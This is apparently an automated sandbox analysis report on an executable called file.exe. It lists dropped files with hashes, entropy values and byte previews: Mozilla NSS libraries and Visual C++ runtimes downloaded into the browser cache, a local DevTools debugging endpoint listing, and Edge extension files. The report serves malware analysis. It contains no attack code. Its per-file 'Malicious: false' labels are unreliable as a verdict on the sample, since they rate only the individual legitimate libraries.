SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.387959322339032
Encrypted:	false
SSDEEP:	48:SfNaoQpTEQufNaoQ74QLfNaoQddJQdnfNaoQCe510UrU0U8QCf:6NnQpTEQWNnQkQjNnQNQ9NnQX0UrU0UG
MD5:	2DCCC763C9DB38F145CBCE033C1500D0
SHA1:	6D090AB67DA441FF00D42170A37C14FAB3F586A5
SHA-256:	35DF0B24060EFBBCA4E6341F4886B41669BBF72721BC8BF207159BEAB4ECEE75
SHA-512:	0BA2C71A16CBDBADCBB9109ABD4D3211638F8A6BD9F8EF01BB2A83BC40529AA05E25824AACCE8474F5079B5C1EFA24F90F28D97E569005CB4072D858F8C0490F
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/A3FB0E550B28AC05B93A7FE62C187669",.. "id": "A3FB0E550B28AC05B93A7FE62C187669",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/A3FB0E550B28AC05B93A7FE62C187669"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/76F51CCA0ACC4A033B8D52A859E295BC",.. "id": "76F51CCA0ACC4A033B8D52A859E295BC",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/76F51CCA0ACC4A033B8D52A859E295BC"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\08e57a79-baae-42ca-ad26-8488fb465edf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\2bd56325-2d3c-40ed-ab26-ec471301e3cb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\61228a20-481a-4cc9-b758-646a1eeedc59.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CC 2017 (Macintosh), datetime=2019:01:23 13:24:18], baseline, precision 8, 401x402, components 3
Category:	dropped
Size (bytes):	1540763
Entropy (8bit):	7.992139831669271
Encrypted:	true
SSDEEP:	24576:ylO160Rvs5u0Y1l4DoTw0kbXAqx//B86XqHcO0S88e+SmcY5UrHVCfzcJLu:ylO1LRvsTY1MoTw0uH//B86XqH6N8j1v
MD5:	A549288914A5C9689D5DD1DFB2E43402
SHA1:	6DCED58467AA39D3F800829AE869C4B504F9F872
SHA-256:	D3CCABD78FECD0C2C873FEDC97E9416DBF7DB3570857E4ACA05245B8099752C7
SHA-512:	16641B902A9DEAEB54CA7B786CD27385F1AFFE6AC619AB28B984EE40F242C0C54D7183532811CA89B4D18F3FC9B8DA1E975CC7291B10BC74315486C833F2B3F7
Malicious:	false
Preview:	......JFIF.....,.,......Exif..MM..............................b...........j.(...........1.....$...r.2...........i...............-....'..-....'.Adobe Photoshop CC 2017 (Macintosh).2019:01:23 13:24:18.....................................................................$...........,.(.....................4...................H.......H.........C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......w.w..!............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..4..}Z...5uB. c v..?..........My4.....f..O.I.?....

C:\Users\user\AppData\Local\Temp\776675c5-a2b8-44d0-801d-133b81f13cc5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\c6b0a423-40bc-40ba-a2d0-ec66e91dbc3f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.402598238021793
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rrt:8e2Fa116uCntc5toYtkPM
MD5:	22721CE57BF89A42DE1E73AEAD89299B
SHA1:	58A3D51B5CF2FDDE85190AD081A7A081AC3C9BC9
SHA-256:	019F70D36D32605C3F4110317E1E7D8D0EA9ACC4F85EA0D67E9B7F0C6459812C
SHA-512:	B8A199E72C232E435BB2EEBA7FD08FD40BD3D203EE42317C56AC5940985CEFB9A33250B336CF9C908AC0B5A47733512490E71DC3438DD59A3FD5D005728B0D45
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\d3d28423-ebdf-41e1-ad3f-b63b39a9d98f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\e029d642-3d8d-4ef8-9f9e-00ebbf1681f8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

